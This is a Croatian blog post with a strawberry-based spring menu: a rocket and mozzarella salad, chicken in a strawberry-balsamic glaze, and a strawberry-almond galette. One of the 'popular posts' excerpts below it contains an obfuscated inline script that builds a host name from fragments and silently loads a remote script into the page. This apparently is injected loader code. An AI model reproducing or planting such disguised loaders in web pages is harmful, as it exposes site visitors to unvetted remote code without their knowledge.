KAKO OD JAGODA SLOŽITI CIJELI PROLJETNI MENI? 🍓




Kako od jagoda složiti cijeli proljetni meni?



Jagode su jedan od onih sastojaka koji u sebi nose cijelu atmosferu proljeća. Dovoljno je da se pojave na tržnicama pa da odmah poželimo lakša, svježija i razigranija jela. Najčešće ih povezujemo s desertima, no upravo je u tome i čar ovog voća – jagode mogu biti puno više od dodatka kolačima. Uz malo mašte, od njih se može složiti cijeli proljetni meni!





Predjelo: Salata s jagodama, rikolom, mozzarellom i tostiranim bademima

Sastojci:

  • 200 g svježih jagoda
  • 100 g rikole
  • 2 kuglice mozzarelle
  • 40 g badema
  • 2 žlice maslinovog ulja
  • 1 žlica balzamičnog octa ili balzamičke kreme
  • 1 žličica meda
  • sol i svježe mljeveni papar

Postupak pripreme:

  • Jagode operite, očistite i narežite na polovice ili četvrtine, ovisno o veličini. Rikolu operite i dobro osušite. Bademe kratko tostirajte na suhoj tavi dok ne zamirišu i dobiju laganu zlatnu boju, pa ih grubo nasjeckajte.
  • Na veći tanjur ili pladanj rasporedite rikolu, po njoj složite komade mozzarelle i jagode. U manjoj zdjelici pomiješajte maslinovo ulje, balzamični ocat i med, zatim dodajte malo soli i papra. Dresing prelijte preko salate neposredno prije posluživanja i završite tostiranim bademima.




Glavno jelo: Piletina u glazuri od jagoda i balzamika s mladim krumpirom

Sastojci:

  • 500 g pilećih fileta ili otkoštenih pilećih zabataka
  • 300 g mladog krumpira
  • 150 g jagoda
  • 2 žlice balzamičnog octa
  • 1 žlica meda
  • 1 žličica senfa
  • 2 žlice maslinovog ulja
  • 1 češanj češnjaka
  • sol i papar
  • svježi timijan ili ružmarin po želji

Postupak pripreme:

  • Mladi krumpir operite, prerežite na polovice i stavite kuhati u slanoj vodi desetak minuta, samo da malo omekša. Zatim ga ocijedite. Piletinu posolite i popaprite.
  • Na većoj tavi ili u pećnici zagrijte malo maslinovog ulja pa zapecite piletinu dok ne dobije lijepu boju sa svih strana. Ako koristite pećnicu, piletinu i krumpir možete prebaciti u vatrostalnu posudu. Krumpir lagano začinite uljem, solju i svježim začinskim biljem pa ga rasporedite oko mesa.
  • Za glazuru očistite jagode i usitnite ih vilicom ili kratko izmiksajte. U manjoj posudi pomiješajte jagode, balzamični ocat, med, senf i sitno nasjeckani češnjak. Tu smjesu kratko zagrijte nekoliko minuta dok se lagano ne poveže i postane poput rijetkog umaka.
  • Pred kraj pečenja premažite piletinu glazurom od jagoda i balzamika te vratite još nekoliko minuta da se sve lijepo karamelizira. Ako pečete u pećnici, dovoljno je oko 25 do 30 minuta na 190 stupnjeva, ovisno o debljini mesa.
  • Jelo poslužite toplo, uz mladi krumpir i, po želji, još nekoliko svježe narezanih jagoda sa strane za dodatnu svježinu. Okus je iznenađujuće skladan, a tanjur izgleda vrlo efektno.



Desert: Galette s jagodama, limunom i bademima

Za kraj menija dolazi desert koji je rustikalan, elegantan i savršeno proljetan. Galette je idealna kada želite nešto što izgleda kao iz francuske kuhinje, ali bez stresa oko preciznog oblikovanja. Jagode se ovdje stapaju s limunom i bademima u desert koji je istovremeno voćan, hrskav i lagano kremast.

Sastojci za tijesto:

  • 200 g glatkog brašna
  • 100 g hladnog maslaca
  • 2 žlice šećera
  • 1 prstohvat soli
  • 4 do 5 žlica hladne vode

Sastojci za nadjev:

  • 300 g jagoda
  • 50 g šećera
  • 1 žlica gustina
  • naribana korica pola limuna
  • 1 žlica limunovog soka
  • 40 g mljevenih badema
  • 1 jaje za premazivanje
  • listići badema za posipanje

Postupak pripreme:

  • Najprije pripremite tijesto. U zdjeli pomiješajte brašno, šećer i sol, zatim dodajte hladni maslac narezan na kockice. Prstima ga utrljajte u brašno dok ne dobijete mrvičastu smjesu. Dodajte hladnu vodu, malo po malo, dok se tijesto ne poveže. Oblikujte ga u disk, zamotajte i stavite u hladnjak na najmanje 30 minuta.
  • Jagode operite, očistite i narežite. Pomiješajte ih sa šećerom, gustinom, limunovom koricom i limunovim sokom. Ostavite nekoliko minuta da se okusi povežu.
  • Ohlađeno tijesto razvaljajte u krug na papiru za pečenje. U sredinu pospite mljevene bademe, ostavljajući nekoliko centimetara praznog ruba. Bademi će upiti dio soka i dati dodatnu aromu. Preko njih rasporedite nadjev od jagoda, a rubove tijesta preklopite prema unutra tako da dobijete rustikalni oblik.
  • Rubove premažite razmućenim jajetom i pospite listićima badema. Pecite u pećnici zagrijanoj na 190 stupnjeva oko 35 minuta, dok tijesto ne postane zlatno, a jagode mekane i lagano karamelizirane.
  • Galette poslužite mlaku, samostalno ili uz žlicu tučenog vrhnja, mascarponea ili kuglicu sladoleda od vanilije.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više